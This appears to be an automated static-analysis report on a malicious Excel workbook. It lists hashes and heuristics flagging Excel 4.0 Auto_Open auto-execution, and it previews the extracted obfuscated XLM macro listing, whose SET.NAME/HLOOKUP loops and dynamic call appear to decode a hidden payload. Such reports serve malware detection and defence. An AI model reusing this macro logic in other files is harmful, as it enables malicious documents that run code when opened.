Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 18f98fb7a5cc8cbe…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:40:22 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 50e2e8539e19854482184d7e1ba0716a SHA-1: 94d4af2cfba4fdf9824c01baae9cac8237349244 SHA-256: 18f98fb7a5cc8cbe58deb3431d56a5dc89459e1b84be7b7b21c3883b111787b6
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6709 bytes
SHA-256: f17796d6d6c5edca8b9b01e852df8b2a6ed4745bb66b71cf53c5ca34e3e767a7
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  vBxSq
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D162 
' 0018     26 LABEL : Cell Value, String Constant - CKgfxwQVCEE len=0 
' 0018     25 LABEL : Cell Value, String Constant - EEdPXdJobT len=0 
' 0018     23 LABEL : Cell Value, String Constant - gGxZpPvx len=0 
' 0018     20 LABEL : Cell Value, String Constant - HGBGq len=0 
' 0018     26 LABEL : Cell Value, String Constant - HHRKiQfjyLY len=0 
' 0018     27 LABEL : Cell Value, String Constant - HUmQEKXqYINI len=0 
' 0018     21 LABEL : Cell Value, String Constant - jlcvpk len=0 
' 0018     25 LABEL : Cell Value, String Constant - kPCYJOndXy len=0 
' 0018     22 LABEL : Cell Value, String Constant - KUuvrxX len=0 
' 0018     21 LABEL : Cell Value, String Constant - lVyUSG len=0 
' 0018     27 LABEL : Cell Value, String Constant - mchKYVJVfbcU len=0 
' 0018     21 LABEL : Cell Value, String Constant - MfzEZq len=0 
' 0018     23 LABEL : Cell Value, String Constant - MzykwHqF len=0 
' 0018     27 LABEL : Cell Value, String Constant - ojnLeMQHAZwn len=0 
' 0018     22 LABEL : Cell Value, String Constant - SvcfuYy len=0 
' 0018     26 LABEL : Cell Value, String Constant - UDhvUVhAFFJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - UZGrNovXC len=0 
' 0018     21 LABEL : Cell Value, String Constant - XBTTmz len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZaaciacOTPt len=0 
' 0018     25 LABEL : Cell Value, String Constant - zIuHbinjXV len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  vBxSq,D72,"SET.NAME("jlcvpk",0+VALUE("0"))",""
'  vBxSq,D74,"SET.NAME("EEdPXdJobT",jlcvpk)",""
'  vBxSq,D76,"SET.NAME("ojnLeMQHAZwn",jlcvpk)",""
'  vBxSq,Q77,"",-71.00000000000000000000
'  vBxSq,Q78,"",230.00000000000000000000
'  vBxSq,D79,"SET.NAME("CKgfxwQVCEE",COUNTA(gGxZpPvx))",""
'  vBxSq,Q79,"",-977.00000000000000000000
'  vBxSq,Q80,"",844.00000000000000000000
'  vBxSq,Q81,"",-481.00000000000000000000
'  vBxSq,Q82,"",-539.00000000000000000000
'  vBxSq,D84,"SET.NAME("ZaaciacOTPt",COUNTA(mchKYVJVfbcU))",""
'  vBxSq,D88,[],""
'  vBxSq,D90,"SET.NAME("HGBGq","")",""
'  vBxSq,D92,"EEdPXdJobT",""
'  vBxSq,D95,"SET.NAME("KUuvrxX",HLOOKUP("*",gGxZpPvx,EEdPXdJobT,FALSE))",""
'  vBxSq,D100,"lVyUSG",""
'  vBxSq,D104,"SET.NAME("HHRKiQfjyLY",jlcvpk)",""
'  vBxSq,D109,[],""
'  vBxSq,D111,"HHRKiQfjyLY",""
'  vBxSq,D113,"UZGrNovXC",""
'  vBxSq,D117,"XBTTmz",""
'  vBxSq,D122,"UDhvUVhAFFJ",""
'  vBxSq,D126,"SET.NAME("HUmQEKXqYINI",VALUE(HLOOKUP("*",mchKYVJVfbcU,UDhvUVhAFFJ,FALSE)))",""
'  vBxSq,D131,"kPCYJOndXy",""
'  vBxSq,D134,"HGBGq",""
'  vBxSq,D139,"ojnLeMQHAZwn",""
'  vBxSq,D141,NEXT(),""
'  vBxSq,D144,"MfzEZq",""
'  vBxSq,D147,[],""
'  vBxSq,D152,"MzykwHqF",""
'  vBxSq,D154,NEXT(),""
'  vBxSq,D159,RETURN(),""
'  vBxSq,D188,"SET.NAME("SvcfuYy",D72)",""
'  vBxSq,D192,"gGxZpPvx",""
'  vBxSq,D197,"SET.NAME("mchKYVJVfbcU",R42C15)",""
'  vBxSq,D202,"SET.NAME("MzykwHqF",209)",""
'  vBxSq,D206,"SET.NAME("zIuHbinjXV",4)",""
'  vBxSq,D208,SvcfuYy(),""
'  vBxSq,D209,HALT(),""

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